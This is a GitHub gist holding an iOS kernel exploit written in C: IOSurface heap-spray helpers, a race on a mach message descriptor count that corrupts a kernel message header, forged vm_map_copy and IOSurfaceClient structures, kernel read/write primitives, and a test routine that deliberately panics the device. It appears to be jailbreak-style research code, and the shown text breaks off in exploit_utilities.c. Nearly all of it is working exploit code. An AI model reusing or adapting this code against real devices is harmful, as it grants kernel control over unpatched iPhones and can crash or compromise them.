Skip to content

Instantly share code, notes, and snippets.

@jakeajames
Last active September 1, 2022 02:45

Revisions

  1. jakeajames revised this gist Mar 7, 2022. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion README.md
    Original file line number Diff line number Diff line change
    @@ -1,4 +1,4 @@
    # Credits
    - @realBrightiup for the bug
    - @realBrightiup for the bug and exploit strategy
    - Justin Sherman for the detailed writeup of his exploit (https://jsherman212.github.io/2021/11/28/popping_ios14_with_iomfb.html)
    - @b1n4r1b01 for various things
  2. jakeajames revised this gist Mar 7, 2022. 1 changed file with 4 additions and 0 deletions.
    4 changes: 4 additions & 0 deletions README.md
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,4 @@
    # Credits
    - @realBrightiup for the bug
    - Justin Sherman for the detailed writeup of his exploit (https://jsherman212.github.io/2021/11/28/popping_ios14_with_iomfb.html)
    - @b1n4r1b01 for various things
  3. jakeajames created this gist Mar 7, 2022.
    297 changes: 297 additions & 0 deletions IOSurface_stuff.c
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,297 @@
    //
    // IOSurface_stuff.c
    // time_waste
    //
    // Created by Jake James on 2/22/20.
    // Copyright © 2020 Jake James. All rights reserved.
    //

    #import "IOSurface_stuff.h"

    uint32_t pagesize;
    io_connect_t IOSurfaceRoot;
    io_service_t IOSurfaceRootUserClient;
    uint32_t IOSurface_ID;

    int init_IOSurface() {
    kern_return_t ret = _host_page_size(mach_host_self(), (vm_size_t*)&pagesize);
    if (ret) {
    printf("[-] Failed to get page size! 0x%x (%s)\n", ret, mach_error_string(ret));
    return ret;
    }

    printf("[i] page size: 0x%x\n", pagesize);

    IOSurfaceRoot = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot"));
    if (!MACH_PORT_VALID(IOSurfaceRoot)) {
    printf("[-] Failed to find IOSurfaceRoot service\n");
    return KERN_FAILURE;
    }

    ret = IOServiceOpen(IOSurfaceRoot, mach_task_self(), 0, &IOSurfaceRootUserClient);
    if (ret || !MACH_PORT_VALID(IOSurfaceRootUserClient)) {
    printf("[-] Failed to open IOSurfaceRootUserClient: 0x%x (%s)\n", ret, mach_error_string(ret));
    return ret;
    }

    struct IOSurfaceFastCreateArgs create_args = {
    .alloc_size = pagesize
    };

    struct IOSurfaceLockResult lock_result;
    size_t lock_result_size = 0xf60;

    ret = IOConnectCallMethod(IOSurfaceRootUserClient, IOSurfaceRootUserClient_create_surface_selector, NULL, 0, &create_args, sizeof(create_args), NULL, NULL, &lock_result, &lock_result_size);
    if (ret) {
    printf("[-] Failed to create IOSurfaceClient: 0x%x (%s)\n", ret, mach_error_string(ret));
    return ret;
    }

    IOSurface_ID = lock_result.surface_id;

    return 0;
    }

    int release_IOSurface(io_service_t userclient, int surface_id) {
    uint64_t scalar[] = { surface_id };
    int ret = IOConnectCallMethod(userclient, IOSurfaceRootUserClient_release_surface_selector, scalar, 1, NULL, 0, NULL, NULL, NULL, NULL);
    if (ret) {
    printf("[-][IOSurface] Failed to release surface: 0x%x (%s)\n", ret, mach_error_string(ret));
    return ret;
    }
    return 0;
    }

    int IOSurface_setValue(struct IOSurfaceValueArgs *args, size_t args_size) {
    struct IOSurfaceValueResultArgs result;
    size_t result_size = sizeof(result);

    kern_return_t ret = IOConnectCallMethod(IOSurfaceRootUserClient, IOSurfaceRootUserClient_set_value_selector, NULL, 0, args, args_size, NULL, NULL, &result, &result_size);
    if (ret) {
    printf("[-][IOSurface] Failed to set value: 0x%x (%s)\n", ret, mach_error_string(ret));
    return ret;
    }
    return 0;
    }

    int IOSurface_getValue(struct IOSurfaceValueArgs *args, int args_size, struct IOSurfaceValueArgs *output, size_t *out_size) {
    kern_return_t ret = IOConnectCallMethod(IOSurfaceRootUserClient, IOSurfaceRootUserClient_get_value_selector, NULL, 0, args, args_size, NULL, NULL, output, out_size);
    if (ret) {
    printf("[-][IOSurface] Failed to get value: 0x%x (%s)\n", ret, mach_error_string(ret));
    return ret;
    }
    return 0;
    }

    int IOSurface_removeValue(struct IOSurfaceValueArgs *args, size_t args_size) {
    struct IOSurfaceValueResultArgs result;
    size_t result_size = sizeof(result);

    kern_return_t ret = IOConnectCallMethod(IOSurfaceRootUserClient, IOSurfaceRootUserClient_remove_value_selector, NULL, 0, args, args_size, NULL, NULL, &result, &result_size);
    if (ret) {
    printf("[-][IOSurface] Failed to remove value: 0x%x (%s)\n", ret, mach_error_string(ret));
    return ret;
    }
    return 0;
    }

    int IOSurface_remove_property(uint32_t key) {
    uint32_t argsSz = sizeof(struct IOSurfaceValueArgs) + 2 * sizeof(uint32_t);
    struct IOSurfaceValueArgs *args = malloc(argsSz);
    bzero(args, argsSz);
    args->surface_id = IOSurface_ID;
    args->binary[0] = key;
    args->binary[1] = 0;
    int ret = IOSurface_removeValue(args, 16);
    free(args);
    return ret;
    }

    int IOSurface_kalloc(void *data, uint32_t size, uint32_t kalloc_key) {
    if (size - 1 > 0x00ffffff) {
    printf("[-][IOSurface] Size too big for OSUnserializeBinary\n");
    return KERN_FAILURE;
    }

    size_t args_size = sizeof(struct IOSurfaceValueArgs) + ((size + 3)/4) * 4 + 6 * 4;

    struct IOSurfaceValueArgs *args = calloc(1, args_size);
    args->surface_id = IOSurface_ID;

    int i = 0;
    args->binary[i++] = kOSSerializeBinarySignature;
    args->binary[i++] = kOSSerializeArray | 2 | kOSSerializeEndCollection;
    args->binary[i++] = kOSSerializeString | (size - 1);
    memcpy(&args->binary[i], data, size);
    i += (size + 3)/4;
    args->binary[i++] = kOSSerializeSymbol | 5 | kOSSerializeEndCollection;
    args->binary[i++] = kalloc_key;
    args->binary[i++] = 0;

    kern_return_t ret = IOSurface_setValue(args, args_size);
    free(args);
    return ret;
    }

    int IOSurface_kalloc_spray(void *data, uint32_t size, int count, uint32_t kalloc_key) {
    if (size - 1 > 0x00ffffff) {
    printf("[-][IOSurface] Size too big for OSUnserializeBinary\n");
    return KERN_FAILURE;
    }
    if (count > 0x00ffffff) {
    printf("[-][IOSurface] Count too big for OSUnserializeBinary\n");
    return KERN_FAILURE;
    }

    size_t args_size = sizeof(struct IOSurfaceValueArgs) + count * (((size + 3)/4) * 4) + 6 * 4 + count * 4;

    struct IOSurfaceValueArgs *args = calloc(1, args_size);
    args->surface_id = IOSurface_ID;

    int i = 0;
    args->binary[i++] = kOSSerializeBinarySignature;
    args->binary[i++] = kOSSerializeArray | 2 | kOSSerializeEndCollection;
    args->binary[i++] = kOSSerializeArray | count;
    for (int c = 0; c < count; c++) {
    args->binary[i++] = kOSSerializeData | (size) | ((c == count - 1) ? kOSSerializeEndCollection : 0);
    memcpy(&args->binary[i], data, size);
    i += (size + 3)/4;
    }
    args->binary[i++] = kOSSerializeSymbol | 5 | kOSSerializeEndCollection;
    args->binary[i++] = kalloc_key;
    args->binary[i++] = 0;

    kern_return_t ret = IOSurface_setValue(args, args_size);
    free(args);
    return ret;
    }

    int IOSurface_empty_kalloc(uint32_t size, uint32_t kalloc_key) {
    uint32_t capacity = size / 16;

    if (capacity > 0x00ffffff) {
    printf("[-][IOSurface] Size too big for OSUnserializeBinary\n");
    return KERN_FAILURE;
    }

    size_t args_size = sizeof(struct IOSurfaceValueArgs) + 9 * 4;

    struct IOSurfaceValueArgs *args = calloc(1, args_size);
    args->surface_id = IOSurface_ID;

    int i = 0;
    args->binary[i++] = kOSSerializeBinarySignature;
    args->binary[i++] = kOSSerializeArray | 2 | kOSSerializeEndCollection;
    args->binary[i++] = kOSSerializeDictionary | capacity;
    args->binary[i++] = kOSSerializeSymbol | 4;
    args->binary[i++] = 0x00aabbcc;
    args->binary[i++] = kOSSerializeBoolean | kOSSerializeEndCollection;
    args->binary[i++] = kOSSerializeSymbol | 5 | kOSSerializeEndCollection;
    args->binary[i++] = kalloc_key;
    args->binary[i++] = 0;

    kern_return_t ret = IOSurface_setValue(args, args_size);
    free(args);
    return ret;
    }

    int IOSurface_kmem_alloc(void *data, uint32_t size, uint32_t kalloc_key) {
    if (size < pagesize) {
    printf("[-][IOSurface] Size too small for kmem_alloc\n");
    return KERN_FAILURE;
    }
    if (size > 0x00ffffff) {
    printf("[-][IOSurface] Size too big for OSUnserializeBinary\n");
    return KERN_FAILURE;
    }

    size_t args_size = sizeof(struct IOSurfaceValueArgs) + ((size + 3)/4) * 4 + 6 * 4;

    struct IOSurfaceValueArgs *args = calloc(1, args_size);
    args->surface_id = IOSurface_ID;

    int i = 0;
    args->binary[i++] = kOSSerializeBinarySignature;
    args->binary[i++] = kOSSerializeArray | 2 | kOSSerializeEndCollection;
    args->binary[i++] = kOSSerializeData | size;
    memcpy(&args->binary[i], data, size);
    i += (size + 3)/4;
    args->binary[i++] = kOSSerializeSymbol | 5 | kOSSerializeEndCollection;
    args->binary[i++] = kalloc_key;
    args->binary[i++] = 0;

    kern_return_t ret = IOSurface_setValue(args, args_size);
    free(args);
    return ret;
    }

    int IOSurface_kmem_alloc_spray(void *data, uint32_t size, int count, uint32_t kalloc_key) {
    if (size < pagesize) {
    printf("[-][IOSurface] Size too small for kmem_alloc\n");
    return KERN_FAILURE;
    }
    if (size > 0x00ffffff) {
    printf("[-][IOSurface] Size too big for OSUnserializeBinary\n");
    return KERN_FAILURE;
    }
    if (count > 0x00ffffff) {
    printf("[-][IOSurface] Size too big for OSUnserializeBinary\n");
    return KERN_FAILURE;
    }

    size_t args_size = sizeof(struct IOSurfaceValueArgs) + count * (((size + 3)/4) * 4) + 6 * 4 + count * 4;

    struct IOSurfaceValueArgs *args = calloc(1, args_size);
    args->surface_id = IOSurface_ID;

    int i = 0;
    args->binary[i++] = kOSSerializeBinarySignature;
    args->binary[i++] = kOSSerializeArray | 2 | kOSSerializeEndCollection;
    args->binary[i++] = kOSSerializeArray | count;
    for (int c = 0; c < count; c++) {
    args->binary[i++] = kOSSerializeData | size | ((c == count - 1) ? kOSSerializeEndCollection : 0);
    memcpy(&args->binary[i], data, size);
    i += (size + 3)/4;
    }
    args->binary[i++] = kOSSerializeSymbol | 5 | kOSSerializeEndCollection;
    args->binary[i++] = kalloc_key;
    args->binary[i++] = 0;

    kern_return_t ret = IOSurface_setValue(args, args_size);
    free(args);
    return ret;
    }


    int IOSurface_set_indexed_timestamp(io_service_t userclient, uint32_t surface_id, uint32_t index, uint64_t timestamp) {
    uint64_t args[3] = {0};
    args[0] = surface_id;
    args[1] = index;
    args[2] = timestamp;
    kern_return_t ret = IOConnectCallMethod(userclient, IOSurfaceRootUserClient_set_indexed_timestamp, args, 3, NULL, 0, NULL, NULL, NULL, NULL);
    return ret;
    }

    int IOSurface_get_ycbcrmatrix(io_service_t userclient, uint32_t surface_id, uint32_t *output) {
    uint64_t args[1] = {0};
    args[0] = surface_id;

    uint64_t out[1] = {0};
    uint32_t count = 1;

    kern_return_t ret = IOConnectCallMethod(userclient, IOSurfaceRootUserClient_get_ycbcrmatrix, args, 1, NULL, 0, out, &count, NULL, NULL);
    if (ret) {
    return ret;
    }
    *output = (uint32_t)out[0];
    return 0;
    }

    void term_IOSurface() {
    if (IOSurfaceRoot) IOObjectRelease(IOSurfaceRoot);
    if (IOSurfaceRootUserClient) IOServiceClose(IOSurfaceRootUserClient);

    IOSurfaceRoot = 0;
    IOSurfaceRootUserClient = 0;
    IOSurface_ID = 0;
    }
    104 changes: 104 additions & 0 deletions IOSurface_stuff.h
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,104 @@
    //
    // IOSurface_stuff.h
    // time_waste
    //
    // Created by Jake James on 2/22/20.
    // Copyright © 2020 Jake James. All rights reserved.
    //

    #ifndef IOSurface_stuff_h
    #define IOSurface_stuff_h

    #import <stdio.h>
    #import <stdlib.h>
    #import <unistd.h>

    #import <IOKit/IOKitLib.h>
    #import <mach/mach.h>

    #define IOSurfaceRootUserClient_release_surface_selector 1
    #define IOSurfaceRootUserClient_create_surface_selector 6 // actually, this is the fast path version, normal one is selector 0
    #define IOSurfaceRootUserClient_get_ycbcrmatrix 8
    #define IOSurfaceRootUserClient_set_value_selector 9
    #define IOSurfaceRootUserClient_get_value_selector 10
    #define IOSurfaceRootUserClient_remove_value_selector 11
    #define IOSurfaceRootUserClient_increment_use_count_selector 14
    #define IOSurfaceRootUserClient_decrement_use_count_selector 15
    #define IOSurfaceRootUserClient_set_notify_selector 17
    #define IOSurfaceRootUserClient_set_indexed_timestamp 33

    struct IOSurfaceFastCreateArgs {
    uint64_t address;
    uint32_t width;
    uint32_t height;
    uint32_t pixel_format;
    uint32_t bytes_per_element;
    uint32_t bytes_per_row;
    uint32_t alloc_size;
    };

    struct IOSurfaceLockResult {
    uint8_t _pad1[0x18];
    uint32_t surface_id;
    uint8_t _pad2[0xf60-0x18-0x4];
    };

    struct IOSurfaceValueArgs {
    uint32_t surface_id;
    uint32_t field_4;
    union {
    uint32_t binary[0];
    char xml[0];
    };
    };

    struct IOSurfaceValueResultArgs {
    uint32_t field_0;
    };


    enum {
    kOSSerializeDictionary = 0x01000000U,
    kOSSerializeArray = 0x02000000U,
    kOSSerializeSet = 0x03000000U,
    kOSSerializeNumber = 0x04000000U,
    kOSSerializeSymbol = 0x08000000U,
    kOSSerializeString = 0x09000000U,
    kOSSerializeData = 0x0a000000U,
    kOSSerializeBoolean = 0x0b000000U,
    kOSSerializeObject = 0x0c000000U,

    kOSSerializeTypeMask = 0x7F000000U,
    kOSSerializeDataMask = 0x00FFFFFFU,

    kOSSerializeEndCollection = 0x80000000U,

    kOSSerializeBinarySignature = 0x000000d3U,
    };

    int init_IOSurface(void);
    void term_IOSurface(void);

    int release_IOSurface(io_service_t userclient, int surface_id);

    int IOSurface_setValue(struct IOSurfaceValueArgs *args, size_t args_size);
    int IOSurface_getValue(struct IOSurfaceValueArgs *args, int args_size, struct IOSurfaceValueArgs *output, size_t *out_size);
    int IOSurface_removeValue(struct IOSurfaceValueArgs *args, size_t args_size);

    int IOSurface_remove_property(uint32_t key);
    int IOSurface_kalloc(void *data, uint32_t size, uint32_t kalloc_key);
    int IOSurface_kalloc_spray(void *data, uint32_t size, int count, uint32_t kalloc_key);
    int IOSurface_empty_kalloc(uint32_t size, uint32_t kalloc_key);

    int IOSurface_kmem_alloc(void *data, uint32_t size, uint32_t kalloc_key);
    int IOSurface_kmem_alloc_spray(void *data, uint32_t size, int count, uint32_t kalloc_key);

    int IOSurface_set_indexed_timestamp(io_service_t userclient, uint32_t surface_id, uint32_t index, uint64_t timestamp);
    int IOSurface_get_ycbcrmatrix(io_service_t userclient, uint32_t surface_id, uint32_t *output);

    extern uint32_t pagesize;
    extern io_connect_t IOSurfaceRoot;
    extern io_service_t IOSurfaceRootUserClient;
    extern uint32_t IOSurface_ID;

    #endif /* IOSurface_stuff_h */
    407 changes: 407 additions & 0 deletions exploit.c
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,407 @@
    //
    // exploit.c
    // kmsg_bug
    //
    // Created by Jake James on 3/2/22.
    //

    #include "exploit.h"
    #include <pthread/pthread.h>
    #include "exploit_utilities.h"
    #include "IOSurface_stuff.h"

    #define DEBUG 1

    int surfaces[2][4096] = {0};
    io_service_t IOSRUC[2] = {0};

    int IOSurface_setCapacity_0x2000() {
    kern_return_t ret = _host_page_size(mach_host_self(), (vm_size_t*)&pagesize);
    if (ret) {
    printf("[-] Failed to get page size! 0x%x (%s)\n", ret, mach_error_string(ret));
    return ret;
    }

    io_connect_t IOSurfaceRoot = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot"));
    if (!MACH_PORT_VALID(IOSurfaceRoot)) {
    printf("[-] Failed to find IOSurfaceRoot service\n");
    return KERN_FAILURE;
    }

    ret = IOServiceOpen(IOSurfaceRoot, mach_task_self(), 0, &IOSRUC[0]);
    if (ret || !MACH_PORT_VALID(IOSRUC[0])) {
    printf("[-] Failed to open IOSRUC: 0x%x (%s)\n", ret, mach_error_string(ret));
    return ret;
    }

    ret = IOServiceOpen(IOSurfaceRoot, mach_task_self(), 0, &IOSRUC[1]);
    if (ret || !MACH_PORT_VALID(IOSRUC[1])) {
    printf("[-] Failed to open IOSRUC: 0x%x (%s)\n", ret, mach_error_string(ret));
    return ret;
    }

    struct IOSurfaceFastCreateArgs create_args = {
    .alloc_size = pagesize
    };

    struct IOSurfaceLockResult lock_result;
    size_t lock_result_size = 0xf60;

    for (int i = 0; i < 4096; i++) {
    ret = IOConnectCallMethod(IOSRUC[0], IOSurfaceRootUserClient_create_surface_selector, NULL, 0, &create_args, sizeof(create_args), NULL, NULL, &lock_result, &lock_result_size);
    if (ret) {
    printf("[-] Failed to create IOSurfaceClient: 0x%x (%s)\n", ret, mach_error_string(ret));
    return ret;
    }

    surfaces[0][i] = lock_result.surface_id;
    }

    for (int i = 0; i < 4096; i++) {
    release_IOSurface(IOSRUC[0], surfaces[0][i]);
    surfaces[0][i] = 0;
    }

    for (int i = 0; i < 4096; i++) {
    ret = IOConnectCallMethod(IOSRUC[1], IOSurfaceRootUserClient_create_surface_selector, NULL, 0, &create_args, sizeof(create_args), NULL, NULL, &lock_result, &lock_result_size);
    if (ret) {
    printf("[-] Failed to create IOSurfaceClient: 0x%x (%s)\n", ret, mach_error_string(ret));
    return ret;
    }
    #if DEBUG
    printf("[i] Surface id: %d\n", lock_result.surface_id);
    #endif
    surfaces[1][i] = lock_result.surface_id;

    if (surfaces[1][i] == 8100) break;
    }

    return 0;
    }

    void release_all() {
    for (int i = 0; i < 4096; i++) {
    if (surfaces[1][i]) {
    printf("[*] Releasing %d\n", surfaces[1][i]);
    fflush(stdout);
    usleep(10);
    release_IOSurface(IOSRUC[1], surfaces[1][i]);
    }
    }
    }

    // N_DESC = 14 and N_CORRUPTED = 1014 will make a message have 0x4000 size
    // (there are other combinations however for some reason ones where difference is lower don't work?)

    #define N_DESC 14
    #define N_CORRUPTED 1014

    // how many pipes to spray
    #define N_SPRAY 5000

    // size of each pipe buffer
    #define KALLOC_SIZE 0x4000

    // size of ool buffer
    #define OOL_SIZE 0x100
    #define BIG_BUFFER_SIZE 0x10000

    struct exp_msg {
    mach_msg_header_t hdr;
    mach_msg_body_t body;
    mach_msg_ool_ports_descriptor_t ool_ports;
    mach_msg_ool_descriptor_t ool_desc[N_CORRUPTED - 1];
    };

    struct exp_msg msg;

    void race_thread() {
    while (1) {
    // change the descriptor count back and forth
    // eventually the race will work just right so we get this order of actions:
    // count = N_DESC -> first copyin -> count = N_CORRUPTED -> second copyin
    msg.body.msgh_descriptor_count = N_CORRUPTED;
    msg.body.msgh_descriptor_count = N_DESC;
    }
    }

    void *fake_IOSC;
    void *fake_IOS;

    uint64_t ool_ports_buffer = 0;
    uint64_t IOSC_array = 0;

    int opipe[2] = {0};

    mach_port_t dest;

    // these are racy, should put locks, but this is just an exploit, so idc
    uint32_t rk32(uint64_t addr) {
    *(uint64_t*)(fake_IOSC + 0x40) = addr - 0xb4;
    uint32_t val;
    int ret = IOSurface_get_ycbcrmatrix(IOSRUC[1], surfaces[1][0], &val);
    *(uint64_t*)(fake_IOSC + 0x40) = (uint64_t)fake_IOS;

    if (ret) {
    printf("[-][rk32] Error get_ycbcrmatrix: %s\n", mach_error_string(ret));
    return 0;
    }
    return val;
    }

    uint64_t rk64(uint64_t addr) {
    uint32_t val1 = rk32(addr);
    uint64_t val2 = rk32(addr + 4);
    uint64_t val64 = val1 | (val2 << 32);
    return val64;
    }

    int wk64(uint64_t addr, uint64_t what) {
    *(uint64_t*)(fake_IOS + 0x360) = addr;
    int ret = IOSurface_set_indexed_timestamp(IOSRUC[1], surfaces[1][0], 0, what);
    *(uint64_t*)(fake_IOS + 0x360) = (uint64_t)fake_IOS + 0x1000;
    if (ret) {
    printf("[-][wk64] Error set_indexed_timestamp: %s\n", mach_error_string(ret));
    return ret;
    }
    return 0;
    }

    void after_thread() {
    // wait a little bit
    sleep(5); // probably too much

    uint64_t test = (uint64_t)malloc(8); // let's pretend this is a kernel address
    wk64(test, 0x4142434445464748);
    printf("[i] Wrote: 0x%lx\n", 0x4142434445464748);
    printf("[i] Read back: 0x%llx\n", rk64(test));

    printf("[*] Panic!!\n");
    fflush(stdout);
    sleep(1);
    wk64(0x4141414141414141, 0x4242424242424242);
    }

    void exploit() {
    printf("[*] Setting up exploit\n");

    IOSurface_setCapacity_0x2000();

    void *body = calloc(1, KALLOC_SIZE);

    // allow us to spray a lot of pipes
    increase_file_limit();

    // ool buffer
    void* buf = calloc(1, OOL_SIZE * N_DESC);

    void *ports = calloc(1, BIG_BUFFER_SIZE/2); // size of a port in userland is half its size in kernel

    // set up the message
    msg.hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
    msg.hdr.msgh_size = (mach_msg_size_t)(sizeof(struct exp_msg));
    msg.hdr.msgh_remote_port = 0;
    msg.hdr.msgh_local_port = MACH_PORT_NULL;
    msg.hdr.msgh_id = 0x12341234;

    // set the initial (smaller) descriptor count
    msg.body.msgh_descriptor_count = N_DESC;

    // ool ports descriptor
    msg.ool_ports.address = ports;
    msg.ool_ports.count = BIG_BUFFER_SIZE / 8;
    msg.ool_ports.deallocate = 0;
    msg.ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
    msg.ool_ports.copy = MACH_MSG_PHYSICAL_COPY;
    msg.ool_ports.disposition = MACH_MSG_TYPE_COPY_SEND;

    // ool descriptors
    for (int i = 0; i < N_DESC - 1; i++) {
    msg.ool_desc[i].address = buf + i * OOL_SIZE;
    msg.ool_desc[i].size = OOL_SIZE;
    msg.ool_desc[i].deallocate = 0;
    msg.ool_desc[i].type = MACH_MSG_OOL_DESCRIPTOR;
    msg.ool_desc[i].copy = MACH_MSG_PHYSICAL_COPY;
    }

    // original writeup uses a mach message for this, but we'd have to fix up the trailer to avoid breaking its signature, also pipes allow us to write back without reallocating
    printf("[*] Spraying pipe buffers\n");
    int pipes[N_SPRAY][2] = {0};

    for (int i = 0; i < N_SPRAY; i++) {
    int ret = pipe(pipes[i]);
    if (ret) {
    printf("[-] Failed to create pipe: %s\n", strerror(errno));
    continue;
    }

    set_nonblock(pipes[i][0]);
    set_nonblock(pipes[i][1]);
    memset(body, 0, KALLOC_SIZE);

    // -1 otherwise it'll make the size bigger
    write(pipes[i][1], body, KALLOC_SIZE - 1);
    }

    // -----------+-----------+-----------+------------+-----------
    // pipe1 | pipe2 | ... | pipe5000 |
    // -----------+-----------+-----------+------------+-----------
    //

    // poke some holes to increase chance of landing right after a pipe
    printf("[*] Poking holes\n");
    fflush(stdout);
    for (int i = 0; i < N_SPRAY; i++) {
    if (i % 64 == 0) {
    close(pipes[i][0]);
    close(pipes[i][1]);
    pipes[i][0] = 0;
    pipes[i][1] = 0;
    }
    }

    // -----------+-----------+-----------+------------+------------+------------+-----------
    // pipe1 | pipe2 | ... | pipe64 | FREE | pipe67 | ...
    // -----------+-----------+-----------+------------+------------+------------+-----------
    //

    printf("[*] Racing\n");

    // start the threads
    pthread_t thread;
    pthread_create(&thread, NULL, (void*)race_thread, NULL);

    // try up to 1000 times
    for (int i = 0; i < 1000; i++) {

    // create a mach port where we'll send the message
    dest = new_mach_port();

    // send
    msg.hdr.msgh_remote_port = dest;
    int ret = mach_msg(&msg.hdr, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, msg.hdr.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    if (ret) printf("error: %s\n", mach_error_string(ret));

    // hopefully (pre-trigger):
    // -----------+-----------+-----------+-----------+------------+-------------+-----------
    // pipe1 | pipe2 | ... | pipeN | ikm_header | pipeN+2 | ...
    // -----------+-----------+-----------+-----------+------------+-------------+-----------
    //

    // after bug trigger pipeN should overlap with ikm_header:

    // +----------------+
    // | |
    // -----------+-----------+-----------+-----------+ +-------------+-----------
    // pipe1 | pipe2 | ... | pipeN | ikm_header | pipeN+2 | ...
    // -----------+-----------+-----------+-----------+------------+-------------+-----------


    // check if we overwrote one of the pipe buffers
    for (int i = 0; i < N_SPRAY; i++) {
    if (pipes[i][0] && pipes[i][0] != opipe[0]) {;
    ssize_t ret = read(pipes[i][0], body, KALLOC_SIZE);
    if (ret == -1) {
    printf("[-] Failed to read pipe: %s\n", strerror(errno));
    continue;
    }

    // there seem to be some extra 56 bytes between the two
    int off = KALLOC_SIZE - 4 * (N_CORRUPTED - N_DESC) + 56;

    if (*(uint32_t*)(body + off) == 0x80000011) {
    printf("[+] Found ikm_header at pipe nr. %d\n", i);
    struct ool_kmsg *kmsg = body+off;

    #if DEBUG
    for (int i = 0; i < N_DESC; i++) {
    uint64_t kaddr = (uint64_t)kmsg->ool_messages[i].address;
    printf("[i] 0x%llx\n", kaddr);
    }
    #endif

    ool_ports_buffer = (uint64_t)kmsg->ool_messages[0].address;

    // assume this scenario is true and hope for the best
    IOSC_array = ool_ports_buffer - BIG_BUFFER_SIZE;

    // save the pipe
    opipe[0] = pipes[i][0];
    opipe[1] = pipes[i][1];

    pipes[i][0] = 0;
    pipes[i][1] = 0;

    // close other pipes
    for (int i = 0; i < N_SPRAY; i++) {
    if (pipes[i][0]) close(pipes[i][0]);
    if (pipes[i][1]) close(pipes[i][1]);
    }

    printf("[+] Leaked ool ports buffer: 0x%llx\n", ool_ports_buffer);
    printf("[+] Calculated IOSurfaceClient array address: 0x%llx\n", IOSC_array);

    void *buf = calloc(1, 0x5000); // need to calculate on A10+

    struct vm_map_copy *copy = buf;
    struct vm_map_links *entry = buf + 0x1000;

    copy->type = VM_MAP_COPY_ENTRY_LIST; // we need the entry list type
    copy->c_u.hdr.nentries = 1; // doesn't really matter
    copy->c_u.hdr.links.next = (struct vm_map_entry*)entry; // the fake entry
    *(uint64_t*)(((uint64_t)&copy->c_u.hdr) + 0x28) = 0xffffffffbaadc0d1; // do this to skip some useless code

    fake_IOSC = buf + 0x2000; // fake IOSurfaceClient
    fake_IOS = buf + 0x3000; // fake IOSurface

    *(uint64_t*)(fake_IOS + 0x360) = (uint64_t)fake_IOS + 0x1000; // fake timestamp array = fake ycbcrmatrix array
    // *(uint64_t*)(fake_IOS + 0xb4)
    *(uint64_t*)(fake_IOSC + 0x40) = (uint64_t)fake_IOS;


    void *vm_object = buf + 0x3000;
    *(uint8_t*)(vm_object + 0xa) = 0x40; // lock stuff
    *(uint32_t*)(vm_object + 0x28) = 2; // something that needs to be 2 for it to work
    *(uint64_t*)(vm_object + 0x48) = 0x1337; // needs to be non-zero
    *(uint32_t*)(vm_object + 0x74) = 0x8000000; // needs to be this
    *(uint32_t*)(vm_object + 0xa4) = 0x400; // mapping_in_progress = 1

    entry->prev = (void *)fake_IOSC;
    entry->next = (void *)(IOSC_array + surfaces[1][0] * 8);
    *(uint64_t*)((uint64_t)entry + 0x38) = (uint64_t)vm_object; // the fake vm_object
    *(uint64_t*)((uint64_t)entry + 0x48) = 0; // needs to be 0

    printf("[*] Writing fake vm_map_copy ptr\n");
    kmsg->ool_messages[1].address = (void*)copy;
    write(opipe[1], body, KALLOC_SIZE);

    pthread_t thread;
    pthread_create(&thread, NULL, (void*)after_thread, NULL);

    /*
    this will basically do:
    entry->next->prev = entry->prev;
    entry->prev->next = entry->next;
    and then it'll hang until mapping_in_progress is unset
    */
    printf("[*] Writing fake IOSurfaceClient ptr\n");
    mach_port_destroy(mach_task_self(), dest);

    printf("[-] Exploit failed\n");
    return;
    }

    memset(body, 0, KALLOC_SIZE);
    write(pipes[i][1], body, KALLOC_SIZE - 1);
    }
    }

    // if bug didn't work, free message and try again
    // if bug worked but pipes weren't affected then we corrupted something else, let this just panic
    mach_port_destroy(mach_task_self(), dest);
    }

    printf("[-] Exploit failed\n");
    return;
    }
    44 changes: 44 additions & 0 deletions exploit.h
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,44 @@
    //
    // exploit.h
    // kmsg_bug
    //
    // Created by Jake James on 3/2/22.
    //

    #ifndef exploit_h
    #define exploit_h

    #include <stdio.h>
    #include <mach/vm_types.h>

    void exploit(void);

    struct vm_map_links {
    struct vm_map_entry *prev; /* previous entry */
    struct vm_map_entry *next; /* next entry */
    vm_map_offset_t start; /* start address */
    vm_map_offset_t end; /* end address */
    };

    struct vm_map_header {
    struct vm_map_links links; /* first, last, min, max */
    int nentries; /* Number of entries */
    boolean_t entries_pageable;
    int page_shift; /* page shift */
    };

    struct vm_map_copy {
    int type;
    #define VM_MAP_COPY_ENTRY_LIST 1
    #define VM_MAP_COPY_OBJECT 2
    #define VM_MAP_COPY_KERNEL_BUFFER 3
    vm_object_offset_t offset;
    vm_map_size_t size;
    union {
    struct vm_map_header hdr; /* ENTRY_LIST */
    void *object; /* OBJECT */
    void *kdata; /* KERNEL_BUFFER */
    } c_u;
    };

    #endif /* exploit_h */
    235 changes: 235 additions & 0 deletions exploit_utilities.c
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,235 @@
    //
    // exploit_utilities.c
    // sock_port
    //
    // Created by Jake James on 7/17/19.
    // Copyright © 2019 Jake James. All rights reserved.
    //

    #import "exploit_utilities.h"

    mach_port_t new_mach_port() {
    mach_port_t port = MACH_PORT_NULL;
    kern_return_t ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
    if (ret) {
    printf("[-] failed to allocate port\n");
    return MACH_PORT_NULL;
    }

    mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
    if (ret) {
    printf("[-] failed to insert right\n");
    mach_port_destroy(mach_task_self(), port);
    return MACH_PORT_NULL;
    }

    mach_port_limits_t limits = {0};
    limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE;
